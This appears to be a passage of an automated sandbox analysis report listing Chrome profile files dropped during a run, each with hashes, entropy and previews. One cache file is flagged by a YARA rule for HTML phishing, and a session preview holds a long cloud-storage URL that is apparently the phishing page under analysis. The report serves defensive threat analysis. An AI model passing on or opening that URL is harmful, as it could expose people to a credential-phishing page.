SHA-256:	DABA8957ABCA115EDB60C64B08BA3B2DC262F555490FD11F7F1F7E9420843649
SHA-512:	0D084FDA8A086F1E12E80F02815CF3C61910704DFC5FC88CCBE1941BCD9888EB9B3D1D07E13CA4027DEB4E21AEC740797B83C509CB316BB0D4AC1221EA8FBBA9
Malicious:	false
Reputation:	low
Preview:	..................................................................................=.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_2 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	1056768
Entropy (8bit):	0.40305112497688445
Encrypted:	false
SSDEEP:	768:1mxDGoJtj6Jt9D/hP9JtKmJtEYTRh3NJtZDahP9JteXJt:AG0kQPQ
MD5:	5521287082BE712F5B08DD7978584156
SHA1:	1B8E0928ACF52CFFC31995805EE579A7F5F39A98
SHA-256:	419B88582E640A2F9D80C3F00FC684F7092DCCF5F778E2A9875E94BE28FED384
SHA-512:	E30CD8FBCD3C07CB13F12F0D1D54A8FACC821E21150B4F5C32D8E12895A27D0934A52345407EEA2FFBBED3B936AE3677F1BC9A2A1E7B1BD3D4320E411E751EC3
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_3 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	4202496
Entropy (8bit):	0.21567917319572757
Encrypted:	false
SSDEEP:	768:dS/1pMJt2vsYoftJtdWIWo4HXJttAXJt5RC5AvEZZ81Q5l82ceJtRP/HxJtH/4wq:uhvsYsWVpH+Kf8171wwvsYR
MD5:	FCDADE54C34DD7B05E4526072EEA32BF
SHA1:	E2A500145EBFD5951FC2311135E5A3783140C382
SHA-256:	81C0A30DACBBFC019178A49690011C4ECD606966702E1024F4DB2269644935C7
SHA-512:	6B631F64AD66B4E27FBA61CF6953681EB48507B50EF06257B975764A865A44D246384547468710F5E381DF89A61BACE8BB33F514A0EA497ECF1F75360AFAACC3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_HtmlPhish_10, Description: Yara detected HtmlPhish_10, Source: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_3, Author: Joe Security
Reputation:	low
Preview:	..................................................................................?.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5154898084991041
Encrypted:	false
SSDEEP:	24:TLyqJLbXaFpEO5bNmISHn06UwcQPx5fB:TekLLOpEO5J/Kn7U1uB
MD5:	861034A57F72A428F833D9A8C57FDB6C
SHA1:	FE4DE8A11179326A9123EE17DE6A7D05B1068EBB
SHA-256:	CD7D1643DE768BAC3214CDBCF0F5FB08C0FA9F4D81E3EF431CF98569E4165494
SHA-512:	036613279BCD2D8C54EA21C80BA93DCC4D3D23E835D2FD390690011F2679DADEDE3DECAA219D1749348DB859B6D211E325E5483740984BFBBA2A590E8BCA962C
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Current Session Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	6313
Entropy (8bit):	4.999154893070947
Encrypted:	false
SSDEEP:	96:34eZFM0cPSTsAEBSVodzN8ldMJ9b0pZFGPCbN6d5oFM0cPSTsAEP7l:3hQPSTsAqRIaqG6u5PSTsAe
MD5:	B5F78D95B1CF77B42243CDA30AC977FB
SHA1:	0C75EDCE4E41389CE57A78291658F302C18DED19
SHA-256:	416A718815E11F9998B88607C5BE97CE5D817498824EC676E7AD55AB51011015
SHA-512:	0C7E1246BF7A87C2746682DDCE6FA8E214C0DFDB68DD69E4D1AAB620C92A24BD8E762E2A8971FE3F24F9FC6C9E13185B914D648767F56432BE4F591A588844F1
Malicious:	false
Reputation:	low
Preview:	SNSS....................................................!.............................................1..,.......$...1e1f6d57_8306_4ff5_9329_811f940ced6b..........................................................................................................5..0.......&...{AE32626E-B2F7-4664-89C4-2B2C2DB60905}.............%.. ...............https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egH

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Current Tabs Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	1.8112781244591325
Encrypted:	false
SSDEEP:	3:3Dtn:3h
MD5:	0686D6159557E1162D04C44240103333
SHA1:	053E9DB58E20A67D1E158E407094359BF61D0639
SHA-256:	3303D5EED881951B0BB52CF1C6BFA758770034D0120C197F9F7A3520B92A86FB
SHA-512:	884C0D3594390E2FC0AEAB05460F0783815170C4B57DB749B8AD9CD10741A5604B7A0F979465C4171AD9C14ED56359A4508B4DE58E794550599AAA261120976C
Malicious:	false
Reputation:	low
Preview:	SNSS....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	335
Entropy (8bit):	3.5297306448944714
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCT5z/t2qoEwhXeLKB:qWWWWWWWWWbopXeLKB
MD5:	4B02663C177BA8EA36FB2E49617CCC05
SHA1:	6E77145135116873842B1BEE6622B116CDA3CBB1
SHA-256:	0FD0B4ED1B18A8A1C73736E3C74168C6102092E5AFD431CD36F7F222E578A1C9
SHA-512:	6FAE4934BB9F78B40ECE19DC10FD522EB88497B97F47B76AC4DBC28146F73D23984322AFBF32DDBC3AC219277A7A6F899FAE59E5834DC2E28377A6306D9D6F03
Malicious:	false
Reputation:	low
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................i.Wd...............Sgdaefkejpgkiemlaofpalmlakkmbjdnl.declarative_rules.declarativeContent.onPageChanged.[]..F..................F................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.267593307611914
Encrypted:	false
SSDEEP:	6:maawcSQWM+q2PWXp+N23iKKdK8aPrqIFUtnaiOAG1ZmwBaTpQWMVkwOWXp+N23if:pawc3+va5KkL3FUtnal1/BaTiV5f5Kkc
MD5:	282EEE31318BFBD9CE7B2931DE306F92
SHA1:	14B0A6DA34DBD8F01D578E5552599CA4B52EC518
SHA-256:	7E5B5581DA37934FBF72E2035CD458360000A9ED3DD1C28F4BED0A6620B5CD20
SHA-512:	4D255D9DBA1CEE12C247A01E34FEC128A9F3A2D3F309DD14DCB9BE0B597D07579CF8CE5B965AF669773E5B52998034BE6ED2FC79F7403DAB3868C54EAB4AF927
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:19.652 91c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/MANIFEST-000001.2021/10/25-18:17:19.654 91c Recovering log #3.2021/10/25-18:17:19.655 91c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.267593307611914
Encrypted:	false
SSDEEP:	6:maawcSQWM+q2PWXp+N23iKKdK8aPrqIFUtnaiOAG1ZmwBaTpQWMVkwOWXp+N23if:pawc3+va5KkL3FUtnal1/BaTiV5f5Kkc
MD5:	282EEE31318BFBD9CE7B2931DE306F92
SHA1:	14B0A6DA34DBD8F01D578E5552599CA4B52EC518
SHA-256:	7E5B5581DA37934FBF72E2035CD458360000A9ED3DD1C28F4BED0A6620B5CD20
SHA-512:	4D255D9DBA1CEE12C247A01E34FEC128A9F3A2D3F309DD14DCB9BE0B597D07579CF8CE5B965AF669773E5B52998034BE6ED2FC79F7403DAB3868C54EAB4AF927
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:19.652 91c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/MANIFEST-000001.2021/10/25-18:17:19.654 91c Recovering log #3.2021/10/25-18:17:19.655 91c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW8:
MD5:	531557DF3F473422DD0102A22E51FE15
SHA1:	E2048D9AD1D7E3AC2135A339A6FF91814A473501
SHA-256:	FB89F5D2BDE68159700BDE0E306D9E5D5CFF0B0AF733603967D228BB9C286A93
SHA-512:	64EFCB0E9EA0D90E827555B9CA381A34F39AADD524B631CD5E3D4BA1EEF0A27CDEE8116138869A7FD5BE0F647CEEA08F95146273138921C46F1245DA0D0A9C4A
Malicious:	false
Reputation:	low
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.224368472682798
Encrypted:	false
SSDEEP:	6:maa+2SwQWM+q2PWXp+N23iKKdK8NIFUtna+tG1ZmwBa+N6QWMVkwOWXp+N23iKKb:pa4N+va5KkpFUtnah1/Ba8/V5f5KkqJ
MD5:	C9091A9BA20C2A5A4F74A69802649B87
SHA1:	A6F1F60C5AA6CF5F86C4484B19C3ECE1E53A7D22
SHA-256:	904DF0292AFFEF9811207FE12E6DDD19A0BA8D4B01359CCBF4BDD232D49C46EC
SHA-512:	E19FD5BD31AC0154A0394283238C73D7D5D40D5AA04735BCA002018AC467F86D51733E0B7B95C5E770F43DC5A06A7959F7ACF43AFCF0A9EA75632A8B7E28A959
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:21.421 91c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/MANIFEST-000001.2021/10/25-18:17:21.422 91c Recovering log #3.2021/10/25-18:17:21.447 91c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.224368472682798
Encrypted:	false
SSDEEP:	6:maa+2SwQWM+q2PWXp+N23iKKdK8NIFUtna+tG1ZmwBa+N6QWMVkwOWXp+N23iKKb:pa4N+va5KkpFUtnah1/Ba8/V5f5KkqJ
MD5:	C9091A9BA20C2A5A4F74A69802649B87
SHA1:	A6F1F60C5AA6CF5F86C4484B19C3ECE1E53A7D22
SHA-256:	904DF0292AFFEF9811207FE12E6DDD19A0BA8D4B01359CCBF4BDD232D49C46EC
SHA-512:	E19FD5BD31AC0154A0394283238C73D7D5D40D5AA04735BCA002018AC467F86D51733E0B7B95C5E770F43DC5A06A7959F7ACF43AFCF0A9EA75632A8B7E28A959
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:21.421 91c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/MANIFEST-000001.2021/10/25-18:17:21.422 91c Recovering log #3.2021/10/25-18:17:21.447 91c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	11217
Entropy (8bit):	6.069602775336632
Encrypted:	false
SSDEEP:	192:GbylJnlTwGB7V9Hne4qasKxXItmLG48gcLg/PkI:Gb+nldByaFx4toj8VEPT
MD5:	90F880064A42B29CCFF51FE5425BF1A3
SHA1:	6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF
SHA-256:	965203D541E442C107DBC6D5B395168123D0397559774BEAE4E5B9ABC44EF268
SHA-512:	D9CBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DA0E59A5397364F67A484B45091BA94E6C69ED18AB681403DFD3F3
Malicious:	false
Reputation:	low
Preview:	{"file_hashes":[{"block_hashes":["A+1PYW3V6CJbBuQ7aqrgYhyH3bT8PKyBXp3hN2slpI0=","WSOpQRkYTHjPSlG9Zif2a7TNhy43NDcG1Zg5Nv0UbH0=","jDctR8ImG5KZrQKm4kDjUB7FokSJfjo/pmvFowRVlaY=","LPxhhJiuU0lprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96AkKXALRM+C0Eu11XUjPiMXEKjiCPdtHE=","wifibc1QfMBN2jrtUtLgsCefvuceTpAatmLvul11RJA=","dHjWlSIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLN0CFL/ADaEeTI=","DpjXcO85FFFY9KJFPkGNfFUtdQIOsGwO5jUckiUwY14=","gqid6l1+mk/6yWgUECRofI9lMipXgXh2jEN2+CxmPE0=","prDB91X2Mmfg/M/txVMITWBmEGbOGjqBTP7CMjYqdHs=","yLPAqV4gqoyS/zFkEt3Cn2j0q2v9QOSthVFfWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO1IJdn/UtbnAmq6T0=","+oOc6ca+ChKUpTu+oa2ZRxRE+wG3QJmuYWEvYCs40NI=","3mBGNAiRlTANEQkqzU3TEi+5wJ0ubR5uwtS4/9OOM7w=","1A9NNawxuhu95H5eThvf1rewJ4QQWhhPNxJXO1C/n68=","E3vWLQxzmj+e5QxYbUscllJ5n0ITpw5JBHV1Kph3/KM=","i3I8ghdTF9c1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSlLPhrtu0hGYrHn3llsMHqBbi70gkIjEE=","rhlzuEvv2KRAFMms896xFwkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRb0VZrY34aVXF3Fftxs

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_1\_metadata\computed_hashes.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	23474
Entropy (8bit):	6.059847580419268
Encrypted:	false
SSDEEP:	384:7dNc1NC6IcafusK4H1IIGRlhKlkIALQWdynQh2RX4K6M1tVztzr7XSNyzH:7dOscSRKc1nGRSkIhEw6M1tf7SNyb
MD5:	6AE2135EA4583C2F06CDEBEA4AE70FA4
SHA1:	DCEB26C7F02D53B5F214305F4C75B4A33A79CDC2
SHA-256:	03AA1944CB3C4F39E20B6361571BC45DFBEBD3FFDA3D8F148CC6ECB29958F903
SHA-512:	B5945E67D9F73DD1982D687E5C6D9B5D6B3886C8050363A259755C76AC0F93651F3425FA7C21AA6A13977AC1C8C9322F998F131648CB8909096058D4F0D23312
Malicious:	false
Reputation:	low
Preview:	{"file_hashes":[{"block_hashes":["DOZdV3jFvk12AM2JNDYKo3KZrIVRprmJ+sVGWkqqE4Q=","rVElW3Hu3T52SzDDUqGT5YiJTBGUv2h3pNuBKFlhZ1U=","X/3fg4KZxgQ1jBr5QGq0F5JnflgE27UErd88mrxTcxs=","VibLbpy0ig+5INMOU71fTYN76iaka2XVpmm1qAKYsX8=","EChCwCbQHbHQ7oDdGT2qNyiRJ0yck2YC2emNGq4whtE="],"block_size":4096,"path":"_locales/iw/messages.json"},{"block_hashes":["xklkoZ7iSU1+7cd6DAtEmUC5lPFd+EgcbnzxkOiFwlk=","3KbsvoxKY/3AwqgF2aAdVQRpMhsNVRkQ3rx2A6Z2Z+Y=","o9+tsohquaCMj+70zeinRG/hBhA2uLoDl/WoC1uokME=","xV/K8xucyWJELVT8Cqn+ugFjobBVmg8pnmACF+2PP4Y=","p/mvJm2wuCl32Rx3it654MljKAsMe3S9IDEabc1A8mE=","j8mPrTb5oOsBTj2Fer78JE6xG6+kR64Cvu2SW8d3j/k=","nqSRpGQ3USU2bZJsZ+AzBmFOyann8omwJrhEWFZDTXc=","eTcQyJUuNuF9yCga/fXGyFCj/pysSceanhBzksdx23s=","Wj7faqnspelXKMvnduxHn1XUBG8TEOqyns7/oUihekM=","VtBwXoadI3EP336rAiL33Gz19KGqtN+RYdKnMKAXoLw=","iDgLXQqXJp8nCZxgLuC9LXM45DGfufvGnXvmHsn18wc=","g+RfdDfrWTUK0Pkcsbot7NJ4SC9wVRV/dVVMuHAtEj8=","2oC4HcCuXu3VjFf6wnKlznt9uqQNaebcuWpm/mWj69U=","aMUIpuFqPMiieSaWhIktCK62v2P3OZQAWupWsYzCnvk=","L

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	38
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlX:qTCT
MD5:	51A2CBB807F5085530DEC18E45CB8569
SHA1:	7AD88CD3DE5844C7FC269C4500228A630016AB5B
SHA-256:	1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC
SHA-512:	B643A8FA75EDA90C89AB98F79D4D022BB81F1F62F50ED4E5440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DF
Malicious:	false
Reputation:	low
Preview:	.f.5................f.5...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.28509503791715
Encrypted:	false
SSDEEP:	6:maamCIq2PWXp+N23iKKdK25+Xqx8chI+IFUtnayWZmwBaMCzkwOWXp+N23iKKdKI:pamCIva5KkTXfchI3FUtnayW/BaJ5f5G
MD5:	3FAEDF5294518D6F796C2EC02577AF20
SHA1:	50F5611CB93FE6F7B555F805D1F80390E9FCACCD
SHA-256:	13682115C2C01525290882A579D5CCBABFFC0BF006F3418778184D26353282BB
SHA-512:	F338DBE990648BBD8B0D1A9A5FD7DE62405B53C2F9560BF3216E39D1FFC455E1864F7D29003CD72D0935C24A831CC66BC50C514D2B2AF933E200B4B16C860F72
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:36.530 520 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MANIFEST-000001.2021/10/25-18:17:36.534 520 Recovering log #3.2021/10/25-18:17:36.536 520 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old.k (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.28509503791715
Encrypted:	false
SSDEEP:	6:maamCIq2PWXp+N23iKKdK25+Xqx8chI+IFUtnayWZmwBaMCzkwOWXp+N23iKKdKI:pamCIva5KkTXfchI3FUtnayW/BaJ5f5G
MD5:	3FAEDF5294518D6F796C2EC02577AF20
SHA1:	50F5611CB93FE6F7B555F805D1F80390E9FCACCD
SHA-256:	13682115C2C01525290882A579D5CCBABFFC0BF006F3418778184D26353282BB
SHA-512:	F338DBE990648BBD8B0D1A9A5FD7DE62405B53C2F9560BF3216E39D1FFC455E1864F7D29003CD72D0935C24A831CC66BC50C514D2B2AF933E200B4B16C860F72
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:36.530 520 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MANIFEST-000001.2021/10/25-18:17:36.534 520 Recovering log #3.2021/10/25-18:17:36.536 520 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.243565938984833
Encrypted:	false
SSDEEP:	6:maavOq2PWXp+N23iKKdK25+XuoIFUtna+ZmwBaIrkwOWXp+N23iKKdK25+XuxWLJ:pa2va5KkTXYFUtna+/Bay5f5KkTXHJ
MD5:	BEF4525FB34C209A5D9145CB5EF51B5D
SHA1:	722005D013F04F3D72CC665F11DD0422DA40AA0D
SHA-256:	A1178F3A22AD5E5E7E94370991425D3962E1AD468960283B8C3EA0138151EB13
SHA-512:	C401CCD522D9B29A7D6C2BBBC19BDA01CCA4A986E0D58C777E91AB77F10276AA5A164A904424F388673E80329D2690219B36CD9E487B150922417F767BE72A48
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:36.514 520 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/MANIFEST-000001.2021/10/25-18:17:36.519 520 Recovering log #3.2021/10/25-18:17:36.520 520 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.243565938984833
Encrypted:	false
SSDEEP:	6:maavOq2PWXp+N23iKKdK25+XuoIFUtna+ZmwBaIrkwOWXp+N23iKKdK25+XuxWLJ:pa2va5KkTXYFUtna+/Bay5f5KkTXHJ
MD5:	BEF4525FB34C209A5D9145CB5EF51B5D
SHA1:	722005D013F04F3D72CC665F11DD0422DA40AA0D
SHA-256:	A1178F3A22AD5E5E7E94370991425D3962E1AD468960283B8C3EA0138151EB13
SHA-512:	C401CCD522D9B29A7D6C2BBBC19BDA01CCA4A986E0D58C777E91AB77F10276AA5A164A904424F388673E80329D2690219B36CD9E487B150922417F767BE72A48
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:36.514 520 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/MANIFEST-000001.2021/10/25-18:17:36.519 520 Recovering log #3.2021/10/25-18:17:36.520 520 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.269683638626551
Encrypted:	false
SSDEEP:	6:maaGg3+q2PWXp+N23iKKdKWT5g1IdqIFUtnaEAmWZmwBaeVkwOWXp+N23iKKdKW4:paGg3+va5Kkg5gSRFUtnaJZ/BaeV5f5N
MD5:	1A390AF40BBEC4407475D5BCF27AD0B7
SHA1:	60B647232844031C3795E6064E3EC3099DF3D28B
SHA-256:	3AAC49691D02192904A148067633E211B6AA3678A309939A4DCB6F071E0A0CBD
SHA-512:	6B5477F9972C9FA33FDD2C2A9B4F1AA0BF44484E3E21E5C412B76BB45D412BC144FE8B06EDCA1F0C14B11C91669C75F6CD87873ED32189D49421949B3E3F3624
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:36.400 d0c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/MANIFEST-000001.2021/10/25-18:17:36.402 d0c Recovering log #3.2021/10/25-18:17:36.403 d0c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.269683638626551
Encrypted:	false
SSDEEP:	6:maaGg3+q2PWXp+N23iKKdKWT5g1IdqIFUtnaEAmWZmwBaeVkwOWXp+N23iKKdKW4:paGg3+va5Kkg5gSRFUtnaJZ/BaeV5f5N
MD5:	1A390AF40BBEC4407475D5BCF27AD0B7
SHA1:	60B647232844031C3795E6064E3EC3099DF3D28B
SHA-256:	3AAC49691D02192904A148067633E211B6AA3678A309939A4DCB6F071E0A0CBD
SHA-512:	6B5477F9972C9FA33FDD2C2A9B4F1AA0BF44484E3E21E5C412B76BB45D412BC144FE8B06EDCA1F0C14B11C91669C75F6CD87873ED32189D49421949B3E3F3624
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:36.400 d0c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/MANIFEST-000001.2021/10/25-18:17:36.402 d0c Recovering log #3.2021/10/25-18:17:36.403 d0c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	modified
Size (bytes):	270336
Entropy (8bit):	0.0018238520723782249
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEfl/igll:/M/xT02zg
MD5:	85D285BD216A2B68062BE9DB126F79D1
SHA1:	A343876D12945B37FD602BA461878996920E6A31
SHA-256:	12B3CC09F134F6F344AE2D4A0672E1878C06BCE35DC2A74E4E4EBD2DB2A6E433
SHA-512:	5A54D84741C338D919B9750A6A2304C483A37D85175FC26B489C452A000675502870E3E8B9F5A7AEE0779CF3708958E08D97E170B44C23CC357A44C55E7C3A2F
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	0.6778133106968087
Encrypted:	false
SSDEEP:	192:/SPSTsAgB+bDo3irhnydVj3XBBE3u0PSVsA:/dsoU3iVy/BBE3uFs
MD5:	7C64800E53E44A4B08D864DB832C8335
SHA1:	09D8DAB3DC9A4A183D73FCB5B4158D34FD17363C
SHA-256:	8402DE813BB48CD6B1D03A597566C8D4BC535BE701FA3AC36098243ABDF85F06
SHA-512:	8826EC87BAB2EBE210EF524F440F259AE833EA25E244D886E52DD89BA515B9A525CBFF75E931BFFC54ECC6C0FE4718C1AE62BA5B22A918D8D07C592D995F70F4
Malicious:	false
Reputation:	low
